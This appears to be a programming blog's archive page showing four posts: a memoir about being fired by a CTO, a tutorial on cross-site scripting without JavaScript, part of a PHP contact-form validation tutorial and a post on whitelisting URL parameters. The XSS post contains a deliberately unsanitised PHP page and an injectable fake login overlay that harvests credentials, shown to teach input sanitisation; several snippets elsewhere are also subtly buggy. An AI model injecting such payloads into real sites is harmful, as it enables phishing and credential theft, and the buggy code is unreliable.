Showing posts with label XSS. Show all posts
Showing posts with label XSS. Show all posts

Monday, 28 June 2021

2020 - Three Jobs In a Year (Part 3/3)

The day of my next performance review arrived. However, in the morning, the was a bit of a hullabaloo over something I can't quite remember, and I asked a question. His reply was public, and scathing.

"Stop asking stupid questions, it doesn't help."

This raised an eyebrow. This guy wasn't even pretending to be nice anymore. He sure wasn't holding back. Fine. He wanted to play this game? Confidence bolstered by knowledge of my finances and my eventual plan to leave, I was more than willing to oblige. I held my peace, biding my time till the time for the performance review came.

HR was in the call, and before my CTO arrived, she told me that he could be a little high strung and come across as curt at times, leading me to suspect that this wasn't the first time he had rubbed someone the wrong way. However, she assured me that my CTO was "not a malicious person". I don't think the lady actually understood the problem. It wasn't malice. I had never considered my CTO to be a malicious person. My problem with him was that for a dude in his mid-thirties, he had the emotional control of a teenager.

Then my CTO arrived in the call. He started off by saying that while he had noted some improvement in my performance, he still wasn't confident in my ability to work in the company and he would continue to keep monitoring. He brought up certain concerns such as my perceived slowness in replying in the Slack chat, and actively encouraged me to "defend" myself against his accusations. I was amused at this. This guy wanted a fight? He had no idea what was coming.

It was my turn to talk. Here, I applied the Sandwich Method that I had learned during my ACTA days - start with something nice before saying something negative. I led with how much fun I'd had in these six months compared to the last three years at the previous, much larger company, which was the truth. The variety of tasks assigned to me had made things a lot more interesting. He seemed to be tickled pink by this.

Time for the stick.

And then it was time to give him the stick. The guy never suspected what he was walking into.

I began voicing my concerns, like how the things like code cleanliness and organization that he kept saying he valued and were missing in my work, just weren't present in the existing code base either. It was a huge mess, with me having to fix problems that had existed for years. Like the recent Cross-site Scripting vulnerability issues, that I'd already brought up in my first few weeks at work. I had thought it was bad; now that I stepped up my game (as he had wanted me to do) and actually started proactively looking for ways to improve the code base, it was worse than I initially thought. I stopped short of saying his code base was garbage, but the implication was clear: I blamed the tech leadership. Honestly, I figured that since this guy enjoyed pointing fingers so much, he wouldn't mind receiving some of the same. Seems fair, right?

Nope!

In a nutshell, he blew the fuck up. Accused me of trying to turn this performance review around on him, and questioning why I chose to bring it up now rather than during Tech meetings. He told me I should be more careful with my words (rich coming from him, really) and yes he was doing a bad job which was precisely why he needed people like me to step up. As he raged, HR had to step in and try to smooth things over.

On my part, as I calmly sat there and smoked a cigarette, listening to his raving through the computer screen and HR trying to stop him before he went too far, I couldn't help feeling unbelievably smug. This had turned out better than I had anticipated. My original intention had been to gently point out that the existing code base was every bit as crappy as his opinion of my work, and that he should maybe assume some responsibility being the CTO and all. Instead, he had chomped down on the bait like an idiot, and his little meltdown in front of HR was showing exactly what I thought: this guy was a loose cannon.

Aw, poor baby. I think I hurt his feelings.

Some of you may be asking; what did I hope to gain from this? Well, nothing at all. I understood that he had all the power in this contest of wills. But I had absolutely nothing to lose here; mentally I had already checked out and was prepared to be fired on the spot.

More importantly, my point had been made, and I hope it wasn't lost on him. All those times he had been putting me down in front of the entire team, he had forgotten one thing: I was a no-name web developer with no reputation to hurt. He, on the other hand, was the CTO and co-founder of the company. Should I ever decide to actually stop holding back, I could do a lot more damage to him than he could ever do to me. This was merely a scaled-down demonstration on my part; I had humiliated him in front of HR rather than the entire Tech Department. Actually, scratch that - I had exploited his weakness and caused him to humiliate himself. After all, regardless of the critical content of my message, I had unfailingly been polite and professional.

He had been punching down constantly. But once I started punching back after six months of taking his shit, I made sure it fucking hurt.

I was smiling the rest of the day, after the review ended. It later struck me that I hadn't had the opportunity to apply the last piece of the Sandwich Method as originally planned. HR had ended the meeting in a hurry.

In hindsight, though, I recognize that what I did to my own CTO is nothing to be proud of. No matter what a childish asshole he had been, I had allowed myself to be dragged down to that level.

Shit, I was supposed to be better than that. What had I become?

I'm not sorry it happened to him, because he pretty much had it coming. But I'm sorry it had to be me who did it. I've always prided myself on being above this sort of thing. This incident had shown me that when push comes to shove, I'm as capable of petty cruelty as anyone else. Hopefully, going forward, this does not become a pattern. It would make me a truly frightening employee to hire. Most people think that the revenge of a disgruntled tech geek is to hack databases and destroy code bases. No, what I had done was far more insidious... and legal to boot.

Getting the axe

And then it happened. One Thursday evening, he messaged me on Slack to berate me about yet another mistake I'd made, and admittedly it was a sizeable one. He told me to fix it by morning, and I actually made an honest attempt to do so.

In the morning, out of the blue, the DevOps Engineer sent me a message on Slack. As I no longer have access to that conversation, I can only recreate it from memory.

Him: I'm so sorry to hear what happened, and I just want you to know I had nothing to do with his decision and hope you find something soon.
Me: Oh, am I getting fired?
Him: Oh fuck, you didn't get the email?


Well, there you go. I wasn't sure I could look down on my CTO even more at this point, but kudos to him, he certainly was making a case for it. Not only had he fired me via email (what a spineless move - even the last guy to do it back in 2011 had extended me the professional courtesy of doing it face-to-face), he'd screwed even that up by sending it to multiple people... except me.

The charitable interpretation is that the CTO had finally had enough of me making mistakes and decided to just put me out of my misery instead of dragging out the probation process any longer than he already had. The cynical interpretation is, well, I'd finally given him a plausible excuse to do what he was itching to do.

I received the email in question, after the CTO re-sent it. The first two lines went along the lines of "your contract has been terminated as of September 11, 2020" and I didn't really bother to read the rest. I mean, I did scan the contents of the following paragraphs, all pertaining to how I failed as an employee, in cringey broken English to boot. But it was ultimately unimportant. The most relevant lines were the first two. There was only one thought running through my mind.

Saved by the axe.

I was free. Free of this douchebag and his appalling behavior.

The first thing I did was to inform my family, and my soon-to-be ex-colleagues. And then I took a nice long coffee break. Rather than mull over the fact that I had effectively just been fired, I was actually more tickled by the fact that it had happened on September 11th.

Aftermath

Sure, this was a stressful six months. But I have really very little to complain about. Swear to God, I've had worse.

After all, however unpleasant I found my experience with the CTO to be, I did absorb whatever lessons I could. I picked up new tools, new techniques, and got to apply some stuff that, up to this point, had been little more than a hobby. I collected yet another interesting war story to add to my ever-growing collection. And I got paid for it.

On the CTO's side, if my work was really as useless as he claimed it to be; well then, I guess some poor sucker just paid me six months to deliver jackshit, didn't he? It could just be me being a hopeless optimist and overly determined to seek out that silver lining, but I honestly don't see myself as the loser in all this.

The silver lining

I may have failed to hold on to the job, but my failure was professional. I had merely failed to meet my CTO's technical expectations. His failure was far more spectacular - he had failed to meet my expectations of emotional maturity. He had failed as a person. The company had gotten rid of an underperforming dev, but it had retained a far larger problem - someone in a position of authority who simply did not have the correct temperament.

Landing that next job

The next two weeks were pure bliss. I swam every day. I wrote code, practised on my new MacBook Air and played games on my phone, all the while applying to jobs and attending Skype interviews. I wasn't worried despite the COVID-19 situation. From experience, getting a job took months. But I had already checked my financial reserves. I was good for a few years, especially since my parents and wife were being very understanding about the entire situation.

All the while, I kept in contact with my ex-colleagues from that company, and their daily complaints about taking on my workload was like music to my ears. Hey, I no longer had to deal with that shit.

And then one evening, my ex-boss took me out to dinner and introduced to me the Director of an F&B company, the guy who would soon be my next boss. We talked about career goals and business plans over dinner and a cigarette. And next day, he messaged me to tell me to get up to speed on WordPress, while he got HR to prepare my application.

Shit, that had escalated quickly. But I liked the dude. And while my nice break was a lot shorter than I had originally envisioned, I was perfectly willing to work for him despite the fact that the office was at the other end of the island.


YouTube tutorials

I got to work, watching YouTube videos on how to code in WordPress, and one day before I was due to start work, I was already being drafted to attend meetings.

There was some consternation the next day with HR when I discovered that my probationary period would be six months. And that my job title was "Manager" of the newly-created InfoComm Department. I was slightly mollified at my generous pay package, which was far more than I'd ever been paid. But still... Manager? Christ!

The first two weeks were a bit of a struggle as we sussed out each other's working style. I found that my sometimes obsessive style of working meshed nicely with his propensity for hustling late into the night. Eventually, I ended up working from home again because the traveling was eating into the working time. I was tasked to bridge the company's e-store to its CRM (a success story in its own right), and by the third week, we deployed to Production.

Six months later...

My probationary period has officially ended. In the space of that half-year, I have deployed an ungodly number of features, met insane deadlines and in the process expanded the code base by roughly five times. The code base was a mess, but my boss didn't care as long as shit worked, and was delivered promptly.

It was hell at times, doing all that work all by my lonesome, but I'm happy. The fact that I have money and don't actually need the job, probably helps. And what I like about my current boss is, while the deadlines he throws at me are sometimes nuts, he has the sense to trust me to do my job and stay out of my way.

And just as importantly, nobody questions my worth to the company. Even in the short time that I've been there, my presence has most definitely been felt. If not in terms of my personality, definitely in terms of the work I've done.

Meeting targets.

More than once, I've been given the chance to show the company what I'm made of, and I like to think that on most occasions, barring a couple mishaps here and there, I've stepped up. There have been no major conflicts. Things could be better, but as I've recently experienced for myself, they could also be hell of a lot worse.

OK, I'm done!

I don't write all this with the intention of besmirching my ex-CTO's good name. Note that the name of neither CTO nor company was mentioned. Not once. Some developers don't have a problem openly trashing their former employers. Not my style. If I speak of any former employers, whether it be good or bad, they will always remain unnamed. That's just how it is.

Also, I have no personal interest in what befalls him or the company. This is merely an interesting story about yet another asshole boss in yet another short chapter of my career. Gotta admit, this lovely character gave me plenty of material. If you managed to learn something from this, great.

And this also marks another period in my life where I worked in three different companies in the space of one year. It's been nine years since the last time, and I'm getting too old for this shit. Still, I can take something positive from this. The fact that I could lose my job, and secure another one just like that - in the midst of a global pandemic, no less - tells me good things.

Talk about third time lucky!
T___T

Wednesday, 9 December 2020

Cross-site Scripting Without JavaScript

It has been said that in order to guard against Cross-site Scripting (XSS), a developer needs to be wary of JavaScript being executed in content displayed on the website. That's certainly true, but inadequate. XSS is not only about malicious JavaScript being executed in a website via HTML injection. There are plenty of avenues to attack via HTML injection without the use of JavaScript.

To illustrate what I'm saying, here's a sample search page in PHP with a bit of Lorem Ipsum. It has not been protected against XSS.
<!DOCTYPE html>
<html>
    <head>
        <title>XSS test</title>
    </head>
    <body>
        <?php
        if (isset($_POST["search"]))
        {
            echo "You searched for: " . $_REQUEST["search"];
        }
        ?>
        <form method="POST">
            Search:
            <input name="search" placeholder="Enter search terms here...">
            <input type="submit" value="Search">
        </form>

        <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam a justo metus. Integer semper eros ligula, ut porta neque feugiat et. Aenean at sem iaculis, tempus libero non, blandit augue. Phasellus eu dolor ac lacus congue rhoncus. Aliquam tempor, dolor vel porta fermentum, arcu tellus vestibulum turpis, sed condimentum enim lectus ut ligula. Maecenas id consectetur enim, a rutrum risus. Donec tempor ornare viverra. Ut bibendum nunc ac ligula rhoncus, quis rhoncus augue tempus. Mauris vulputate tempor diam, vitae mattis ligula lacinia sit amet.</p>

        <p>Praesent ac turpis pretium, pretium augue ullamcorper, consequat diam. Vestibulum vehicula scelerisque luctus. Nulla eget sollicitudin urna, in consectetur sem. Vestibulum vel tortor libero. Nunc maximus leo non urna cursus, vitae suscipit est gravida. Aliquam ac vulputate ligula. Sed et congue ligula. Phasellus nec imperdiet augue, in aliquam arcu. Sed mollis eleifend leo et tincidunt. Curabitur scelerisque dolor id mi commodo volutpat. Nam quis lacinia neque, at imperdiet augue.</p>

        <p>In odio ex, gravida in dolor quis, commodo tempus dui. Donec egestas felis sit amet tortor pretium convallis. Aliquam ultrices, nulla eget pellentesque hendrerit, lectus arcu varius orci, finibus congue sapien magna id dolor. Vestibulum neque dolor, cursus sit amet nulla in, feugiat sagittis risus. Cras facilisis bibendum pulvinar. Integer finibus aliquam ipsum, in commodo lorem placerat non. Interdum et malesuada fames ac ante ipsum primis in faucibus. Donec et magna at dolor scelerisque consequat pharetra a nisi. Morbi viverra sapien lorem, eget venenatis diam auctor ultrices. Duis congue felis mattis egestas mollis. Duis aliquam turpis nisi, sit amet rutrum nibh sodales eget.</p>

        <p>Vestibulum eget dolor urna. Pellentesque nisi risus, tincidunt pretium ultricies eget, semper sed est. Mauris egestas, metus sit amet porta fringilla, ipsum magna rhoncus arcu, at iaculis lacus ligula quis turpis. Morbi vitae efficitur nulla. Pellentesque elementum, justo quis dignissim dapibus, eros est faucibus erat, sollicitudin lacinia felis justo nec lacus. Morbi vitae lobortis enim. Phasellus metus nibh, fermentum non lacinia non, tempus sit amet ipsum. Aenean sollicitudin egestas lobortis. Integer dictum ultricies dui a facilisis. Praesent augue augue, porta vel eros et, congue porttitor ipsum. Phasellus hendrerit felis purus, vitae facilisis enim auctor eu. Integer laoreet dapibus sodales. </p>

        <p>Vestibulum pellentesque hendrerit convallis. Curabitur tempor at odio quis tristique. Phasellus accumsan quam et sem pellentesque tempus. Donec non arcu sed risus vehicula efficitur eu at est. Ut vestibulum et nisi sed malesuada. Nunc mattis egestas nulla, nec malesuada sapien tempor a. Aenean ullamcorper nulla id lacus varius pulvinar. Ut vitae nisl fermentum, sagittis magna sed, ultricies enim. Nunc et ante id felis varius ultrices. Ut sit amet diam dapibus, bibendum risus sed, posuere urna. Maecenas eleifend ante non imperdiet efficitur. Sed vel nisl quis lorem commodo varius ut faucibus quam. Suspendisse placerat accumsan quam, in malesuada tellus. Integer quam augue, feugiat vel neque eget, pretium ultrices mi. Vestibulum a sollicitudin est. </p>
    </body>
</html>


When you run this, it takes the string entered and displays it - a big XSS no-no.






XSS with JavaScript

Running with the example above, let's try using a script tag in the input.

<script>alert('xss attack!')</script>


Right now, it's a simple alert() function being run; but what happens if it actually does something terrible?





XSS without JavaScript

You might be thinking - let's just disable JavaScript; problem solved! In this day and age, disabling JavaScript has the undesirable effect of crippling the user interface to the point where usability is greatly diminished. In business terms, this is impractical and utterly unacceptable.

And, as mentioned, strange as it may sound, you can still carry out XSS without JavaScript.

Try entering this string. Note that there are no script tags in it - only a form tag.
<div style="font-family:verdana;width:100%;height:100%;position:fixed;left:0;top:0;right:0,bottom:0;background-color:rgba(0,0,0,0.8);"><br /><br /><br /><br /><div style="width:600px;height:auto;background-color:rgba(255,255,255,1);border-radius:20px;padding:20px;margin:0 auto 0 auto"><h3 style="color:red;text-align:center">Warning</h3><h4>You have been logged out of the system for security reasons. Someone may be attempting to steal your password. To regain control over your credentials, please log in again. </h4><form method="POST" action="http://www.teochewthunder.com"><table width="100%"><tr><td><label>ID:</label></td><td><input type="text"></td></tr><tr><td><label>Pasword:</label></td><td><input type="password"></td></tr><tr><td></td><td><button type="submit" style="width:100px;height:30px;color:white;font-weight:bold;background-color:rgba(50,50,255,1);border-radius:50px">Login</button></td></tr><tr><td></td><td></td><td><small><i>Symphonetic Security Systems &copy; 2020</i></small></td></tr></table></form></div></div>


And woosh! Now when the page is run, it pops up an overlay with an official-looking form asking the user to log in with his or her username and password. It's a combination of Social Engineering and Phishing. Again, no JavaScript was run here - it was all purely HTML and CSS.





If you submit the form, right now, all it does is go to www.teochewthunder.com. But what if it redirected the user to somewhere way more sinister, where the username and password were now stored for nefarious purposes?

In conclusion...

XSS is not about JavaScript.

It's not just JavaScript that a developer has to look out for. In the example given, it wasn't just that the input was not sanitized against malicious JavaScript - it wasn't sanitized against HTML tags, period. The input text length was not restricted.

It's time to stop thinking of XSS as a JavaScript attack, and more as HTML injection.

<script>alert("I hope this has been useful!");</script>
T___T

Thursday, 14 November 2019

Web Tutorial: The Contact Us Page (Part 2/4)

In the last part, the form working as intended hinges upon users entering valid data. What if they didn't enter valid data? What if they missed stuff out? Worse, what if they entered stuff that breaks your HTML?

In this part, we implement controls to prevent that from happening. At the very basic level, we have server-side validation. For this, whatever data the user sends to the PHP server will be validated, and error messages will be displayed if data is not valid.

First, we put in placeholders for error messages. For Name, the only thing we need to worry about is missing data. So let's have a div, styled using the error CSS class. And within it, have a span tag with the error message within.
<div class="formrow">
    <label for="txtName">Name</label><br />
    <input type="text" id="txtName" name="txtName" maxlength="50" placeholder="e.g, Jose D'Cruz" />
</div>
<div class="error" id="name_required">
    <span>Name is required.</span>
</div>


For Email, you have two things to worry about - missing data and invalid data. You generally want there to be an email, and you want the email to be an actual email. So let's have two divs and two error messages.
<div class="formrow">
    <label for="txtEmail">Email</label><br />
    <input type="text" id="txtEmail" name="txtEmail" maxlength="50" placeholder="e.g, j_dcruz208@youremail.com" />
</div>
<div class="error" id="email_required">
    <span>Email is required.</span>
</div>
<div class="error" id="email_format_incorrect">
    <span>Email is in an incorrect format.</span>
</div>


And let's have one for Comments.
<div class="formrow">
    <label for="txtComments">Comments</label><br />
    <textarea type="text" id="txtComments" name="txtComments" rows="5" maxlength="500" wrap="hard" placeholder="e.g, You're awesome!"></textarea>
</div>
<div class="error" id="comments_required">
    <span>Comments are required.</span>
</div>


See your results!


In the PHP code, create the associative array, errors. Then fill in the array with key-value pairs as shown, setting all values to false.
$message = "";

$errors = array();
$errors["name_required"] = false;
$errors["email_required"] = false;
$errors["comments_required"] = false;
$errors["email_format_incorrect"] = false;

$mailsent = false;


Under the part where the form values are obtained, run a str_replace() function on each one, removing all spaces. If the result is an empty string, then the user tried to be funny somewhere. Either way, the string is blank and thus invalid.
$form_name = trim($_POST["txtName"]);
$form_email = trim($_POST["txtEmail"]);
$form_comments = trim($_POST["txtComments"]);

if (str_replace(" ", "", $form_name) == "")
{

}

if (str_replace(" ", "", $form_email) == "")
{

}

if (str_replace(" ", "", $form_comments) == "")
{

}   


Set the respective values of the key-value pairs in errors, to true.
$form_name = trim($_POST["txtName"]);
$form_email = trim($_POST["txtEmail"]);
$form_comments = trim($_POST["txtComments"]);

if (str_replace(" ", "", $form_name) == "")
{
    $errors["name_required"] = true;
}

if (str_replace(" ", "", $form_email) == "")
{
    $errors["email_required"] = true;
}

if (str_replace(" ", "", $form_comments) == "")
{
    $errors["comments_required"] = true;
}   


For Email, include an Else block. We only want to check for a valid email if there is an email. Run the string through the validateEmail() function, then set the key-value pair in errors if the function returns false.
if (str_replace(" ", "", $form_email) == "")
{
    $errors["email_required"] = true;
}
else
{
    if (!validateEmail($form_email))
    {
        $errors["email_format_incorrect"] = true;
    }           
}


And there we have the validateEmail() function. The parameter in this function is a string, str. It returns true by default.
    else
    {
        $message = "CSRF attack foiled!";
        $messageclass = "message_error";
    }
}

function validateEmail($str)
{
    return true;
}


Generally, there is no such thing as an email with less than 5 characters, so return false if that is true.
function validateEmail($str)
{
    if (strlen($str) < 5) return false;

    return true;
}


Obviously, if there is no "@" character in the string, it can't be an email.
function validateEmail($str)
{
    if (strlen($str) < 5) return false;
    if (strstr($str, "@") === false) return false;

    return true;
}


If the first or last letter of str is "@", it's also wrong.
function validateEmail($str)
{
    if (strlen($str) < 5) return false;
    if (strstr($str, "@") === false) return false;
    if (strpos($str, "@") == 0 || strpos($str, "@") == strlen($str) - 1) return false;

    return true;
}


Hold up.... why not use Regular Expressions?

Good question. Regular Expressions are really powerful. They're also a pain in the ass when dealing with email strings. These days, there are just too many ways a string can qualify as an actual email address. So stick with the basics.

There are ways to verify an email address by sending and receiving of course... but I really don't want to go there today.

Next, we declare an If block around the emailing portion.
if ()
{
    $headers = "MIME-Version: 1.0\r\n";
    $headers .= "Content-type:text/html;charset=UTF-8\r\n";
    $headers .= "From: " . $form_email . "\r\n";
    $headers .= "X-Mailer: PHP/" . phpversion();

    $subject = "Contact request from " . $form_name;
    $body = nl2br($form_comments);

    $mailsent = mail("teochewthunder@gmail.com", $subject, $body, $headers);

    if (!$mailsent)
    {
        $form_email = "";
        $form_name = "";
        $form_comments = "";

        $message = "Email sent. Thank you!";
        $messageclass = "message_success";
    }
    else
    {
        $message = "An error occured while trying to send your mail. Please try again.";
        $messageclass = "message_error";
    }
}   


This code should only fire off if the size of the array returned by running errors through an array_filter() function, is 0, which means there are no errors. That's because array_filter(), in its simplest form, filters out all values that are false.

More on array_filter() if you're interested!
if (sizeof(array_filter($errors)) == 0)
{
    $headers = "MIME-Version: 1.0\r\n";
    $headers .= "Content-type:text/html;charset=UTF-8\r\n";
    $headers .= "From: " . $form_email . "\r\n";
    $headers .= "X-Mailer: PHP/" . phpversion();

    $subject = "Contact request from " . $form_name;
    $body = nl2br($form_comments);

    $mailsent = mail("teochewthunder@gmail.com", $subject, $body, $headers);

    if (!$mailsent)
    {
        $form_email = "";
        $form_name = "";
        $form_comments = "";

        $message = "Email sent. Thank you!";
        $messageclass = "message_success";
    }
    else
    {
        $message = "An error occured while trying to send your mail. Please try again.";
        $messageclass = "message_error";
    }
}   


Now, we only want error messages to appear when input is invalid (duh), so let's add this to each div that's styled with error. This basically means that if that particular key-value pair in errors is not true, then style that div using hide as well.
<div class="formrow">
    <label for="txtName">Name</label><br />
    <input type="text" id="txtName" name="txtName" maxlength="50" placeholder="e.g, Jose D'Cruz" />
</div>
<div class="error <?php echo $errors["name_required"] ? "" : "hide" ?>" id="name_required">
    <span>Name is required.</span>
</div>

<div class="formrow">
    <label for="txtEmail">Email</label><br />
    <input type="text" id="txtEmail" name="txtEmail" maxlength="50" placeholder="e.g, j_dcruz208@youremail.com" />
</div>
<div class="error <?php echo $errors["email_required"] ? "" : "hide" ?>" id="email_required">
    <span>Email is required.</span>
</div>
<div class="error <?php echo $errors["email_format_incorrect"] ? "" : "hide" ?>" id="email_format_incorrect">
    <span>Email is in an incorrect format.</span>
</div>

<div class="formrow">
    <label for="txtComments">Comments</label><br />
    <textarea type="text" id="txtComments" name="txtComments" rows="5" maxlength="500" wrap="hard" placeholder="e.g, You're awesome!"></textarea>
</div>
<div class="error <?php echo $errors["comments_required"] ? "" : "hide" ?>" id="comments_required">
    <span>Comments are required.</span>
</div>


In the CSS, let's create the CSS class hide. It basically sets the display property to none.
<style>
    .hide
    {
        display: none;
    }
</style>


Refresh and test. Try entering no value, or all spaces for some. Try an obviously invalid email. See what happens?


Yep!


We're missing something...

You'll notice that the inputs in the form go blank when the error messages are displayed. This is not helpful. What if Name and Email were valid but only Comments had an error? Then the user would have to fill all these in again.

So add the appropriate value in these inputs. If the form hasn't been submitted, the variables will be empty strings anyway.
<div class="formrow">
    <label for="txtName">Name</label><br />
    <input type="text" id="txtName" name="txtName" maxlength="50" value="<?php echo $form_name; ?>" placeholder="e.g, Jose D'Cruz" />
</div>
<div class="error <?php echo $errors["name_required"] ? "" : "hide" ?>" id="name_required">
    <span>Name is required.</span>
</div>

<div class="formrow">
    <label for="txtEmail">Email</label><br />
    <input type="text" id="txtEmail" name="txtEmail" maxlength="50" value="<?php echo $form_email; ?>" placeholder="e.g, j_dcruz208@youremail.com" />
</div>
<div class="error <?php echo $errors["email_required"] ? "" : "hide" ?>" id="email_required">
    <span>Email is required.</span>
</div>
<div class="error <?php echo $errors["email_format_incorrect"] ? "" : "hide" ?>" id="email_format_incorrect">
    <span>Email is in an incorrect format.</span>
</div>

<div class="formrow">
    <label for="txtComments">Comments</label><br />
    <textarea type="text" id="txtComments" name="txtComments" rows="5" maxlength="500" wrap="hard" placeholder="e.g, You're awesome!"><?php echo $form_comments; ?></textarea>
</div>
<div class="error <?php echo $errors["comments_required"] ? "" : "hide" ?>" id="comments_required">
    <span>Comments are required.</span>
</div>


There you go!


But wait...

The fact that you're displaying user-input to screen not only puts you at risk of a XSS attack, but also, what if the input broke the HTML?

Try this as a name and submit.


Uh-oh!


What we should do here is sanitize the input. Create a function, sanitize(), in the PHP. Set it to run the argument, str, through the htmlentities() function, and add in other arguments to handle quotes, special characters and other HTML entities. That way, even if the user enters markup, it will not break your HTML when displayed as part of your form.
    else
    {
        $message = "CSRF attack foiled!";
        $messageclass = "message_error";
    }
}

function sanitize ($str)
{
    return htmlentities($str, ENT_COMPAT|ENT_QUOTES, "UTF-8", true);
}

function validateEmail($str)
{
    if (strlen($str) < 5) return false;
    if (strstr($str, "@") === false) return false;
    if (strpos($str, "@") == 0 || strpos($str, "@") == strlen($str) - 1) return false;

    return true;
}


And then ensure that your displayed output is sanitized.
<div class="formrow">
    <label for="txtName">Name</label><br />
    <input type="text" id="txtName" name="txtName" maxlength="50" value="<?php echo sanitize($form_name); ?>" placeholder="e.g, Jose D'Cruz" />
</div>
<div class="error <?php echo $errors["name_required"] ? "" : "hide" ?>" id="name_required">
    <span>Name is required.</span>
</div>

<div class="formrow">
    <label for="txtEmail">Email</label><br />
    <input type="text" id="txtEmail" name="txtEmail" maxlength="50" value="<?php echo sanitize($form_email); ?>" placeholder="e.g, j_dcruz208@youremail.com" />
</div>
<div class="error <?php echo $errors["email_required"] ? "" : "hide" ?>" id="email_required">
    <span>Email is required.</span>
</div>
<div class="error <?php echo $errors["email_format_incorrect"] ? "" : "hide" ?>" id="email_format_incorrect">
    <span>Email is in an incorrect format.</span>
</div>

<div class="formrow">
    <label for="txtComments">Comments</label><br />
    <textarea type="text" id="txtComments" name="txtComments" rows="5" maxlength="500" wrap="hard" placeholder="e.g, You're awesome!"><?php echo sanitize($form_comments); ?></textarea>
</div>
<div class="error <?php echo $errors["comments_required"] ? "" : "hide" ?>" id="comments_required">
    <span>Comments are required.</span>
</div>


There you are, it works!


It even works with accented and foreign characters!



Client-side validation

I know what you're thinking - why client-side validation when server-side validation is perfectly fine? Well, for starters, it's always faster than validating the data after it's been sent.

The task of client-side validation is to validate the data before it is submitted to the server. And because JavaScript can be turned off (not that I'd recommend doing so), the server-side validation, while slower, is a very dependable fallback.

So, long story short... you have server-side validation, and it's time for client-side validation.

In the form tag, add an onsubmit attribute. This is an event handler that triggers whenever the form is submitted. If the value is true, then it submits. If it is false, execution halts there. The function triggered is validateForm().
<form action="" method="POST" onsubmit="return validateForm();">


In the JavaScript, create the validateForm() function. First, get the placholders by declaring the variable placehlders and setting it to the array returned by the getElementsByClassName() method, and passing in "error" as an argument. This will get all elements with the CSS class of error.
<script>
    function validateForm()
    {
        var placeholders = document.getElementsByClassName("error");
    }
</script>


Iterate through the placeholders array. For every element whose class is "error", set it to "error hide". This means to hide all placeholders.
var placeholders = document.getElementsByClassName("error");

for (var i = 0; i < placeholders.length; i++)
{
    placeholders[i].className = "error hide";
}


Create an array, errors. Declare variables txtName, txtEmail and txtComments, and get the appropriate value from the DOM.
var placeholders = document.getElementsByClassName("error");

for (var i = 0; i < placeholders.length; i++)
{
    placeholders[i].className = "error hide";
}

var errors = [];

var txtName = document.getElementById("txtName");
var txtEmail = document.getElementById("txtEmail");
var txtComments = document.getElementById("txtComments");


Now, we're going to replicate in JavaScript what we did in the PHP. The JavaScript equivalent of replacing spaces with empty strings is the replace() method using a Regular Expression and an empty string as arguments.
var txtName = document.getElementById("txtName");
var txtEmail = document.getElementById("txtEmail");
var txtComments = document.getElementById("txtComments");

if (txtName.value.replace(/\s/g, "").length == 0)
{

}

if (txtEmail.value.replace(/\s/g, "").length == 0)
{

}
else
{
    if (!validateEmail(txtEmail.value))
    {

    }                   
}

if (txtComments.value.replace(/\s/g, "").length == 0)
{

}


For each error that is triggered, push the appropriate string into the errors array.
if (txtName.value.replace(/\s/g, "").length == 0)
{
    errors.push("name_required");
}

if (txtEmail.value.replace(/\s/g, "").length == 0)
{
    errors.push("email_required");
}
else
{
    if (!validateEmail(txtEmail.value))
    {
        errors.push("email_format_incorrect");
    }                   
}

if (txtComments.value.replace(/\s/g, "").length == 0)
{
    errors.push("comments_required");
}


And then let's create the validateEmail() function in JavaScript. It's just using equivalent functions of the ones we used in the PHP function we created.
function validateForm()
{
    var placeholders = document.getElementsByClassName("error");

    for (var i = 0; i < placeholders.length; i++)
    {
        placeholders[i].className = "error hide";
    }

    var errors = [];

    var txtName = document.getElementById("txtName");
    var txtEmail = document.getElementById("txtEmail");
    var txtComments = document.getElementById("txtComments");

    if (txtName.value.replace(/\s/g, "").length == 0)
    {
        errors.push("name_required");
    }

    if (txtEmail.value.replace(/\s/g, "").length == 0)
    {
        errors.push("email_required");
    }
    else
    {
        if (!validateEmail(txtEmail.value))
        {
            errors.push("email_format_incorrect");
        }                   
    }

    if (txtComments.value.replace(/\s/g, "").length == 0)
    {
        errors.push("comments_required");
    }
}

function validateEmail(str)
{
    if (str.length < 5) return false;
    if (str.indexOf("@") == -1) return false;
    if (str.indexOf("@") == 0 || str.indexOf("@") == str,length - 1) return false;

    return true;
}


Now, if the errors array is not empty, return true. This basically means that the form will submit.
if (txtComments.value.replace(/\s/g, "").length == 0)
{
    errors.push("comments_required");
}

if (errors.length == 0)
{
    return true;
}


If not, iterate through the errors array using a For loop and display the appropriate placeholders using the getElementById() method. And, of course, return false.
if (errors.length == 0)
{
    return true;
}
else
{               
    for (var i = 0; i < errors.length; i++)
    {
        document.getElementById(errors[i]).className = "error";
    }

    return false;
}


This should appear exactly like the PHP validation that we wrote in the first part of this tutorial, except that the form will not submit if there are errors! And if you turn JavaScript off, it should submit, then validate via the PHP code.


Yep!


Next

We will be beautifying this form somewhat and making it visually less confusing.

Friday, 1 May 2015

Whitelisting - a Paler Shade of Security

URL parameters are an easy and convenient way for web pages to pass data to other pages. And, where SEO is concerned, it's a plus because URLs can be cached. But sometimes it can be too convenient. People tend to forget that such methods are open to abuse and appropriate measures can (and should) be taken against said abuse.

Below are some instances of URL parameters, where products is the page name, and id and type are the parameters, and "34400" and "cars" are their respective values.

products.php?id=34400&type=cars
products/cars/34400

Obviously, some of the security risks are SQL Injection and XSS. I'm writing this with the assumption that you know what that is, and on the off-chance that you don't, check out an explanation of SQL Injection and XSS.

There are plenty of ways to deal with such threats, some at script level (depending on language), some at database level (depending on database). But these aren't under discussion today, because there is a simple and non platform-specific solution at the logical level: whitelisting.

What's Whitelisting?

Whitelisting is a technique that ensures that the values of the parameters conform to a specific range of values. At its simplest, here is a preliminary example. (All examples are in PHP)

URL: products.php?id=56700
<?php
$productid = $_GET["id"];
$productid = intval($productid);
?>

The above example ensures that the variable productid, when taken from the URL, is an integer, by converting the value of productid to its integer equivalent. With this, it's not possible to enter malicious code into the parameter, and the usability of the data is preserved. If I wanted to be pedantic about this, the above could be termed sanitization instead of whitelisting.

To take this further and to see a more comprehensive example of whitelisting, see the following.

URL: report.php?month=11&year=2011
<?php
$reportmonth = $_GET["month"];
$reportmonth = intval($reportmonth);

if ($reportmonth<1) $reportmonth=1;
if ($reportmonth>12) $reportmonth=12;

$reportyear = $_GET["year"];
$reportmonth = intval($reportmonth);

if ($reportyear<1969) $reportyear=1969;
if ($reportyear>year(date)) $reportyear=year(date);
?>
